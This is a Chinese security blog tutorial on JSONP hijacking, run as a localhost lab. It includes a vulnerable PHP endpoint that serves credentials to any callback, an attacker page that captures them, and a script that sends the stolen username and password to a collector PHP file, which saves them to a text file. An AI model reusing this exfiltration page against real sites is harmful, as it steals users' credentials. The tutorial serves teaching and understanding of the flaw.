Jsonp劫持
Jsonp劫持
jsonp劫持的原理
使用json进行敏感信息传递。攻击机者写一个伪造的页面欺骗受害者点击这个页面,导致json信息被暗中采集。感觉和CSRF差不多…
利用手法大概如图:
小试
jsonp.php
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
if(isset($_REQUEST['jsoncallback'])){
$json_data='({"id":"1","name":"Aaron","password":"1234567890"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>
访问jsonp.php会得到json信息
hijack.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
{
alert("username:"+result.name+" password:"+result.password);
}
</script>
<script type="text/javascript" src="http://127.0.0.1/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>
当然也可以写一个php接收请求,然后在把得到的内容保存到txt
vk.php
<?php
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username)&&isset($password)){
$data="用户名:".$username."密码:".$password;
file_put_contents("pwd.txt",$data);
}
?>
修改js
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
{
var username=result.name;
var password=result.password;
const requests=new XMLHttpRequest();
const url="http://127.0.0.1/vk.php?username="+username+"&password="+password;
requests.open("GET",url);
requests.send();
}
</script>
<script type="text/javascript" src="http://127.0.0.1/jsonp.php?jsoncallback=callbackFunction"></script> <!-- 将得到的json转给callbackFunction函数处理
</body>
</html>
如果是被那种钓鱼的话,估计js会被混淆的很严重…
参考链接
JSONP 劫持漏洞实例 - Bypass - 博客园
JSONP劫持
实例
360某json hijacking(只要你登陆访问,我就知道你的用户名,邮箱) | 乌云漏洞库,乌云镜像站, WooYun 漏洞库, WooYun 镜像站
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:Jsonp劫持
本文作者:九世
发布时间:2019-12-08, 15:45:48
最后更新:2019-12-08, 15:55:22
原始链接:http://jiushill.github.io/posts/95sd3c49.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。